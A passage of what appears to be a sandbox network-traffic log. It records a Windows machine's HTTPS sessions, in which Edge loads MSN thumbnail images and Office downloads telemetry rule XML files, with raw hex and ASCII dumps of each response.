2024-10-29 01:46:42 UTC	16384	IN	Data Raw: 14 b6 9d 78 6b 0a 6d 79 be 63 92 66 e8 ef 8a b8 4c 8b ac ef 2d c4 cc 75 2e 68 7b c5 0d cc 78 fe 93 54 f0 a0 23 1c f7 c0 0f ef 80 7d f0 d5 3e 40 fd a3 8d 04 52 40 31 b9 b0 a2 37 28 83 de aa f3 6c 56 06 9c 40 a6 61 6f 54 4f 9c 7e 64 07 f5 19 4e 20 1c b0 e6 ec 24 1d cd 74 84 d9 b9 99 6c 0d f9 c5 92 c0 d0 63 02 4c d1 16 42 98 fe a5 9d e8 64 1a b1 2c 01 86 00 b6 28 d4 b8 af ea 72 9d 27 46 f7 dd f3 38 91 69 b8 36 e4 47 da fd 33 15 bf cd 99 f8 17 33 aa 60 8e eb 5b 4d 15 5a 26 22 9e 3b d0 87 5a 44 d5 91 38 4d 1c 36 eb 44 3d 4e 5d 1d cc 99 9f 83 b6 9a 14 79 cb cc 35 b3 0b 05 81 ad c7 58 85 da 31 8a db 8c fd ec 1b a6 ea 1c 33 66 1a 6f bc 4c 0c 62 90 87 d4 f5 0d ce 75 6a 66 6e 34 d1 ea b1 b9 8e 65 0d a9 9a dc 2b 30 4f 1b f9 a4 74 be 90 c0 0c cd 32 e9 fe d8 bd 74 a8 Data Ascii: xkmycfL-u.h{xT#}>@R@17(lV@aoTO~dN $tlcLBd,(r'F8i6G33`[MZ&";ZD8M6D=N]y5X13foLbujfn4e+0Ot2t
2024-10-29 01:46:42 UTC	16384	IN	Data Raw: a7 bc d1 ac 5d e7 1a 10 b4 2e 00 c3 f8 b1 d0 38 02 16 b5 c4 b3 52 88 1c 2c 8d 47 b1 14 44 52 79 7e 88 9a 27 b7 16 39 06 a3 c5 ed e1 1d 8d 94 5c 06 9c 96 3b fc 3f e1 f4 41 3d 18 37 56 fc ae 07 d6 94 52 48 9e e8 ed e4 52 1c c2 3d de 7f f7 26 27 28 e2 b6 22 9e 85 c3 17 7e 66 38 73 12 a3 1e 95 e2 89 61 fc d1 fc 50 ba 63 3b 61 f3 bd 37 dc 3f f1 79 dc 71 5b d7 9b 35 0e 31 e9 b3 7e 02 75 41 f4 25 04 e5 bc 5e c7 8f ca 57 a0 39 d6 b0 1d cd ff 00 2a ba 66 fc 3c fc 16 b5 cf 41 a5 e6 8c 62 0f 02 b2 5a bd 4e 95 94 51 98 27 f1 4f aa 59 cb 3f e2 6f 63 4f 68 5a e6 7f 6c 8d 3b de 5a 5a 71 56 85 e9 48 64 7c cc de c8 f4 94 ba 31 66 51 e2 b5 cc 8e 8a 9e 6e 05 ab 63 6f 35 e8 6a 37 e0 67 2f 15 87 2d a2 fc ae 5f f6 ab 99 b9 53 81 4e 05 5e f5 ab b7 19 58 e5 8e 5e 0b 2a 64 7f 84 Data Ascii: ].8R,GDRy~'9\;?A=7VRHR=&'("~f8saPc;a7?yq[51~uA%^W9f<AbZNQ'OY?ocOhZl;ZZqVHd\|1fQnco5j7g/-_SN^X^d
2024-10-29 01:46:42 UTC	7952	IN	Data Raw: a5 6e 3d da 6c 91 c2 25 09 d9 79 6c 18 9d 43 9d 25 75 d5 0c 53 9f e7 6a 28 11 7d 1b c7 9e 49 8e c2 07 af 34 13 58 fc 5a f6 2d 04 9d 28 17 47 22 84 73 6f c5 47 f3 b5 2d 33 44 aa a0 a4 9c db 28 5a 1d b4 fa 28 db d5 de 9a 80 9a 73 8d d4 6e 58 33 0e 34 eb 50 62 94 56 b6 2f 46 98 36 9e d7 33 e1 c5 74 c6 60 69 a0 9d 53 0b 8b a4 8c 28 d8 88 0e 33 05 72 9c 6d a8 97 65 99 ee 9a 44 72 5d 5d 39 7b 43 5c 43 c7 c2 f1 58 7f 70 25 79 73 9a e8 31 07 6e 29 83 dc 44 49 1b 3c d2 b8 cf 6e f7 37 19 fc 5e 85 dd 3f 49 99 35 b2 03 4c fc d9 75 f2 e8 d4 6b 33 fb 57 3d ff 00 49 cb 7f fa 3d 40 07 e1 cd 6c 53 60 70 bf f9 42 86 c7 3d 86 6b 11 aa 79 62 ba 0d ea 60 0f 94 d2 2f bf c9 c6 8b 96 6b b9 8f 96 53 f7 fd ed 7d 99 f3 87 37 33 e9 3d 6e 5d 23 24 e6 0f 8b 2c 87 8e 44 9e 4b 96 ec b7 Data Ascii: n=l%ylC%uSj(}I4XZ-(G"soG-3D(Z(snX34PbV/F63t`iS(3rmeDr]]9{C\CXp%ys1n)DI<n7^?I5Luk3W=I=@lS`pB=kyb`/kS}73=n]#$,DK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	49901	23.47.194.99	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:41 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 01:46:42 UTC	516	IN	HTTP/1.1 200 OK Last-Modified: Mon, 12 Aug 2024 01:13:32 GMT Access-Control-Allow-Origin: * X-Datacenter: eastus X-ActivityId: be192b45-753e-4017-8c28-8930da91b54e Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=315636 Expires: Fri, 01 Nov 2024 17:27:17 GMT Date: Tue, 29 Oct 2024 01:46:41 GMT Connection: close
2024-10-29 01:46:42 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	49902	23.47.194.99	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:41 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 01:46:42 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 24 Oct 2024 13:20:31 GMT X-Datacenter: eastus X-ActivityId: 16adcbce-12b9-406c-af23-858a83da7282 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=430493 Expires: Sun, 03 Nov 2024 01:21:34 GMT Date: Tue, 29 Oct 2024 01:46:41 GMT Connection: close
2024-10-29 01:46:42 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	49900	23.47.194.99	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:41 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 01:46:42 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Thu, 22 Aug 2024 19:49:06 GMT X-Source-Length: 5699 X-Datacenter: northeu X-ActivityId: 568c32c2-4fc6-43fd-b83e-f4c0fb930684 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=67477 Expires: Tue, 29 Oct 2024 20:31:18 GMT Date: Tue, 29 Oct 2024 01:46:41 GMT Connection: close
2024-10-29 01:46:42 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	49903	23.47.194.99	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:41 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 01:46:42 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Fri, 20 Sep 2024 10:06:10 GMT X-Datacenter: eastus X-ActivityId: 61ab6469-9341-48ba-9f88-168ba59245cb Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=203130 Expires: Thu, 31 Oct 2024 10:12:11 GMT Date: Tue, 29 Oct 2024 01:46:41 GMT Connection: close
2024-10-29 01:46:42 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	49905	23.47.194.99	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:41 UTC	634	OUT	GET /tenant/amp/entityid/BB14D0jG.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 01:46:42 UTC	519	IN	HTTP/1.1 200 OK Last-Modified: Mon, 16 Sep 2024 14:53:46 GMT Access-Control-Allow-Origin: * X-Datacenter: westus X-ActivityId: 122e5b03-c16c-459e-8b9c-8d95bfdcdb0f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB14D0jG X-Source-Length: 42413 Content-Length: 42413 Cache-Control: public, max-age=263772 Expires: Fri, 01 Nov 2024 03:02:54 GMT Date: Tue, 29 Oct 2024 01:46:42 GMT Connection: close
2024-10-29 01:46:42 UTC	15865	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 01 2c 01 2c 00 00 ff e1 0e cc 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 24 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 96 87 69 00 04 00 00 00 01 00 00 00 aa 00 00 00 d6 00 2d c6 c0 00 00 27 10 00 2d c6 c0 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 20 28 4d 61 63 69 6e 74 6f 73 68 29 00 32 30 31 39 3a 30 31 3a 32 33 20 31 33 3a 32 34 3a 31 38 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 01 c3 a0 03 00 04 00 00 00 01 00 00 01 92 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 Data Ascii: JFIF,,ExifMM*bj(1$r2i-'-'Adobe Photoshop CC 2017 (Macintosh)2019:01:23 13:24:18
2024-10-29 01:46:42 UTC	16384	IN	Data Raw: 38 22 2f 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 72 64 66 3a 6c 69 20 78 6d 70 47 3a 73 77 61 74 63 68 4e 61 6d 65 3d 22 43 3d 37 35 20 4d 3d 31 30 30 20 59 3d 30 20 4b 3d 30 22 20 78 6d 70 47 3a 6d 6f 64 65 3d 22 52 47 42 22 20 78 6d 70 47 3a 74 79 70 65 3d 22 50 52 4f 43 45 53 53 22 20 78 6d 70 47 3a 72 65 64 3d 22 31 30 32 22 20 78 6d 70 47 3a 67 72 65 65 6e 3d 22 34 35 22 20 78 6d 70 47 3a 62 6c 75 65 3d 22 31 34 35 22 2f 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 72 64 66 3a 6c 69 20 78 6d 70 47 3a 73 77 61 74 63 68 4e 61 6d 65 3d 22 43 3d 35 30 20 4d 3d 31 30 30 20 59 3d 30 20 4b 3d 30 22 20 78 6d 70 47 3a 6d 6f 64 65 3d 22 52 47 42 22 20 78 6d 70 47 3a 74 79 70 65 3d 22 50 52 4f 43 45 53 53 22 20 78 6d 70 47 3a 72 65 64 3d 22 31 34 36 22 20 78 6d 70 47 Data Ascii: 8"/><rdf:li xmpG:swatchName="C=75 M=100 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="102" xmpG:green="45" xmpG:blue="145"/><rdf:li xmpG:swatchName="C=50 M=100 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="146" xmpG
2024-10-29 01:46:42 UTC	2020	IN	Data Raw: 9c b2 16 6f 83 6b fa fe fd a0 7e 03 f8 67 f6 9c f8 37 e2 0f 01 f8 c2 c1 75 2f 0f 78 96 d1 ad 2e a2 3c 32 e7 95 91 0f f0 c8 8c 15 d1 ba ab 28 3d ab f9 5f fd b9 7f 64 0f 10 fe c2 bf b4 cf 89 3e 1c f8 8b 74 d2 69 33 79 96 17 c1 36 47 aa 59 3e 4c 17 28 3d 19 7a 80 4e d7 57 5c 92 a6 be 8b 2f c5 fb 48 f2 4f 75 f8 9e 66 22 8f 23 ba d9 9e 43 5d 57 c1 4f 8c 9e 20 fd 9f 3e 2d f8 77 c6 fe 15 be 6d 3f c4 1e 18 be 8f 50 b1 9c 74 0e 87 3b 58 7f 12 30 ca b2 9e 19 59 81 e0 9a e5 68 af 4b 46 ac ce 6f 33 fa dc fd 8b 3f 6a 7d 0f f6 d4 fd 99 bc 27 f1 23 40 65 8e d7 c4 56 81 ee 2d 77 ee 6d 3e e9 3e 49 ed db de 39 15 97 38 1b 80 0c 38 61 5e b1 9a fc 29 ff 00 83 5d bf 6d 76 f0 0f c6 bf 10 7c 11 d5 ef 36 e9 3e 36 8d f5 8d 09 5d b8 8b 51 82 3f df 46 a3 fe 9a db a6 e3 ef 6a a0 7d Data Ascii: ok~g7u/x.<2(=_d>ti3y6GY>L(=zNW\/HOuf"#C]WO >-wm?Pt;X0YhKFo3?j}'#@eV-wm>>I988a^)]mv\|6>6]Q?Fj}
2024-10-29 01:46:42 UTC	8144	IN	Data Raw: c3 48 d7 a5 cd be af 1b 7d 06 95 76 df cd 45 7c 4b 5f 73 7f c1 b9 da 33 6a 9f f0 55 ff 00 02 ce ab b8 69 ba 7e ad 70 4e 3e e8 3a 7c f1 7f ed 41 f9 d7 66 2b f8 12 f4 66 54 7e 35 ea 7f 49 d4 51 45 7c 89 ec 05 14 51 40 05 14 51 40 05 14 51 40 08 7e f0 aa da cf fc 82 ee 7f eb 8b ff 00 23 56 4f de 15 5b 59 ff 00 90 5d cf fd 71 7f e4 6a 65 b1 a5 1f 8d 7a 9f 8f 34 51 45 7e 07 3f 89 9f de 94 7e 05 e8 82 8a 28 a9 34 0a 28 a2 80 3f 4a 3f e0 9f 43 fe 31 2f c2 ff 00 ef 5d ff 00 e9 5c d5 ed 03 ad 78 bf fc 13 eb fe 4d 2f c2 ff 00 ef 5d ff 00 e9 5c d5 ed 03 ad 7e e1 95 ff 00 b9 d2 ff 00 0c 7f 24 7f 10 71 47 fc 8e 31 5f f5 f2 7f fa 53 0a 28 a2 bd 03 c2 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 3f 2f ff 00 e0 ea 8f 01 36 bb fb 0f f8 27 c4 11 ab 33 68 1e 31 8a 19 30 3e e4 57 16 Data Ascii: H}vE\|K_s3jUi~pN>:\|Af+fT~5IQE\|Q@Q@Q@~#VO[Y]qjez4QE~?~(4(?J?C1/]\xM/]\~$qG1_S((((?/6'3h10>W

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:42 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:42 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:42 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: cd04a713-f01e-003f-7315-26d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014642Z-16849878b78g2m84h2v9sta29000000004q000000000nbnu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:42 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:42 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:42 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:42 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3a0fb8a5-701e-0050-6930-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014642Z-16849878b78km6fmmkbenhx76n000000059g000000001rqn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:42 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:42 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
